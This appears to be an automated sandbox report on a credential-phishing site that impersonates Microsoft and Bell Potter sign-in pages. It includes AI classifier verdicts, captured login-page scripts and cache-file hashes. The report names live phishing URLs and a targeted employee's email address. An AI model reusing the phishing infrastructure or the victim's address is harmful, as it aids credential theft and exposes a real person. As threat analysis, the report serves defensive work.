URL: https://login.loraintoolsltd.xyz/common/login... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "This script appears to be a configuration object for a web application that handles user authentication and authorization. While it does not contain any obvious high-risk indicators, it does include several moderate-risk behaviors, such as sending user data to external domains and using multiple fallback domains. Additionally, the script interacts with domains of unknown reputation, which raises some concerns. Further review may be necessary to determine the full context and intent of this script." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://live.loraintoolsltd.xyz/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg\u0026response_mode=form_post\u0026nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=cb1aab6ed7384b4aab4d587742f5ae39\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQEkI63zkqrzjtxCqSX0wK8M0m7h0sBn1d-zcM6ER8btv94HYBiuDM-rPVCmsJbGzV0DpXdVCC69WYbO9gUwy2XwYt7VfZQNswWDzExA42sUFPbN20FuddOLqOyKj_1zzPY5KCyW3Dw5KbbxHKr2BjPl89C82HbywFkaxOjD9VLIhk4KpAOdIhQ-0PX-daIvC6r7cSbb0wqXxzqexRoIXbu1iAA","urlMsaLogout":"https://live.loraintoolsltd.xyz/logout.srf?iframed_by=https%3a%2f%2flogin.loraintoolsltd.xyz","urlOtherIdpForget":"https://live.loraintoolsltd.xyz/forgetme.srf?iframed_by=https%3a%2f%2flogin.loraintoolsltd.xyz","showCantAccessAccountLink":true,"urlGitHubFed":"https://live.loraintoolsltd.xyz/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg\u0026response_mode=form_post\u0026nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=cb1aab6ed7384b4aab4d587742f5ae39\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQESbGUuxZB2x_VdzTAdAd1853I4Dm1w0QwdrNyG6eZg27bxs8foOnnpGvZv4Dg89QhCxfKlSF2b79AxyTv_v8Z2_9K7JLT50_PE-ZiZxWvzYYVs2H7t9VER2vhjDKctDCTXLybfW6bVLj4XtA2f9Khz9JyUcrTwq0KpDfBO1n3rmQfI0Cr_KgGVcCTCzlCpPwDFfF9q7K5mZyox8jgsRBhmSAA\u0026idp_hint=github.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaao~599!!!CY~Cyprus~
URL: https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@bellpotter.com.au Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please confirm you are not a bot by clicking the button above.", "prominent_button_name": "I am not a bot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@bellpotter.com.au Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@bellpotter.com.au Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please confirm you are not a bot by clicking the button above.", "prominent_button_name": "I am not a bot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@bellpotter.com.au Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	```json { "risk_score": 3, "reasoning": "The script primarily involves DOM manipulation and event handling, with no high-risk indicators like dynamic code execution or data exfiltration. It uses legacy practices and error logging, which are low-risk behaviors. The script appears to be a part of a debugging or logging framework, with no clear malicious intent." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){ for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!a){if(!r.body){return void setTimeout(t)}a=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!s){if(!r.body){return void setTimeout(n)}t(),s=!0,e.$Do.register("doc.load",0,!0),i()}}function o(e){(r.addEventListener\|\|"load"===e.type\|\|"complete"===r.readyState)&&t()}function i(){ r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("integrity",t)),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FO Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "unknown", "text_input_field_labels": [ "jrofe@bellpotter.com.au" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FO Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "finance" }

URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FO Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FO Model: Joe Sandbox AI	{ "brands": [ "Bell Potter" ] }
	{ "brands": [ "Bell Potter" ] }
URL: https://login.loraintoolsltd.xyz/common/login Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Your account is temporarily locked to prevent unauthorized use. Try again later, and if you still have trouble, contact your admin.", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "finance" }

URL: https://login.loraintoolsltd.xyz/common/login Model: Joe Sandbox AI	{ "brands": [ "Bell Potter" ] }
	{ "brands": [ "Bell Potter" ] }
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FO Model: Joe Sandbox AI	```json{ "legit_domain": "bellpotter.com.au", "classification": "known", "reasons": [ "The brand 'Bell Potter' is a known financial services company in Australia.", "The legitimate domain for Bell Potter is 'bellpotter.com.au'.", "The provided URL 'login.loraintoolsltd.xyz' does not match the legitimate domain.", "The domain 'loraintoolsltd.xyz' is unrelated to Bell Potter and uses an unusual domain extension '.xyz'.", "The presence of a login page with a password field on an unrelated domain is suspicious." ], "riskscore": 9} Google indexed: False
URL: login.loraintoolsltd.xyz Brands: Bell Potter Input Fields: Enter password
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FO Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'login.loraintoolsltd.xyz' does not match the legitimate domain for Microsoft.", "The domain 'loraintoolsltd.xyz' is not associated with Microsoft and appears unrelated.", "The use of a generic domain extension '.xyz' and an unrelated domain name is suspicious.", "The presence of 'login' in the subdomain could be an attempt to mimic a legitimate login page, which is a common phishing tactic." ], "riskscore": 9} Google indexed: False
URL: login.loraintoolsltd.xyz Brands: Microsoft Input Fields: jrofe@bellpotter.com.au
URL: https://login.loraintoolsltd.xyz/common/login Model: Joe Sandbox AI	```json{ "legit_domain": "bellpotter.com.au", "classification": "known", "reasons": [ "The brand 'Bell Potter' is a known financial services company in Australia.", "The legitimate domain for Bell Potter is 'bellpotter.com.au'.", "The URL 'login.loraintoolsltd.xyz' does not match the legitimate domain of Bell Potter.", "The domain 'loraintoolsltd.xyz' is unrelated to Bell Potter and uses an unusual domain extension '.xyz', which is often used in phishing.", "The presence of a login page with a password field on an unrelated domain is suspicious." ], "riskscore": 9} Google indexed: False
URL: login.loraintoolsltd.xyz Brands: Bell Potter Input Fields: Enter password

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	dropped
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
Category:	downloaded
Size (bytes):	894
Entropy (8bit):	2.127905712165219
Encrypted:	false
SSDEEP:	12:t4ZwygmyYzNSV54uYY45555555555555R:t2UxY9
MD5:	69E8EE1EC0AC5E2D6701C8892D985586
SHA1:	6B8BE026BB11572D318894F56326F2603098D263
SHA-256:	704E27BCBA8DCBA731E98D641D37BCE67A90106398F32C643F1E929E89A0244B
SHA-512:	4981A7734B2032AE2763DFB040B864E946E90B4949A0C272F736B5A4D9D367FC0C822A0295DDB8B1FA9067675C8AE5A4F4815D6AB208B5C013A2A245FD50029D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauthimages.net/81d6b03a-9wsbrvuoosuxh3gdnwlczthphjkydqjsed4eiboga3a/logintenantbranding/0/favicon?ts=638071079888745245
Preview:	..............h.......(....... ....................................................................................................................................................................................................333fff......www....................................fff......www....................................fff......www....................................www..................DDD.....................wwwfff..........................................DDDfff......fff....................................fff......fff...www..............................fff.........................................."""fff..................DDD................................................................................................................................................................................................................................................................

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3448), with CRLF line terminators
Category:	downloaded
Size (bytes):	3450
Entropy (8bit):	5.125465187846656
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLZjsushswsosry:a2IYz95qTdBaC
MD5:	F974B49995211D97D96EE104CAE3810C
SHA1:	0B417A3E4A41DC09735DB7E2F3B97CE97AD9B4D8
SHA-256:	778E27945C736CF965EF1C9F8644350B1AFF07D7F89673520CCF34C90D850A41
SHA-512:	32ECD5A07F15290FE5D0E40EE8BA48167F718A2BB44280B692BBA7920171A8FA7D19C15B571DA669D184CFDB15C19052AA1E088CFA87B7F9D895B38431281A5F
Malicious:	false
Reputation:	low
URL:	https://live.loraintoolsltd.xyz/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48120)
Category:	dropped
Size (bytes):	48121
Entropy (8bit):	5.399559475473033
Encrypted:	false
SSDEEP:	768:1CbU/4ruPh5qaq75KvO8fV9/KFHk7z6ybMJhTBsgVX2GwDBsjY1L8ep7K1oiSJvU:QruPh5qaq7gGwV9ygWyb42GQsp
MD5:	240198B7133FAF43160703113AA2F601
SHA1:	AB61FEDDAE321268BD84839B8908E611E9300AFD
SHA-256:	401258036014BCC401F7894FD5ACC7D6BA31CDF3162C1D55EBB219D908BCF496
SHA-512:	F49972AE131DE7EE33D86472471237580A1055C2E086BE0266E7171CB9C423A99145B006CF5D25E25288E64440430E43782E976BF7EC117BDAA52E5D370AB139
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Bt(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Bt(l,o,c,g,h,"next",s)}function h(s){Bt(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142534
Category:	dropped
Size (bytes):	49954
Entropy (8bit):	7.99493321471063
Encrypted:	true
SSDEEP:	1536:vr2T/4LxF17O6lJgX3ys65sBcY++i0RumwzV:Cz4LL1imP56m+i+umwzV
MD5:	E16AC075AC754DBD1CF969508220E30D
SHA1:	69A91FF7A1C044231D6D28B4DD4C6AD3D34F2A50
SHA-256:	E8AC3DCEF9E67CC776542A40C71B719D41668DF41D294C1A49A5AD23C5A5B5EC
SHA-512:	12C4E6E5BD999E7BF431DCA707DA4BB5193D2795DD139DCAFC38CAFA757A88F75068D3F2821840068247B9F6CFB55178EF223CDB3349444E622EA4A8E69700A6
Malicious:	false
Reputation:	low
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	downloaded
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
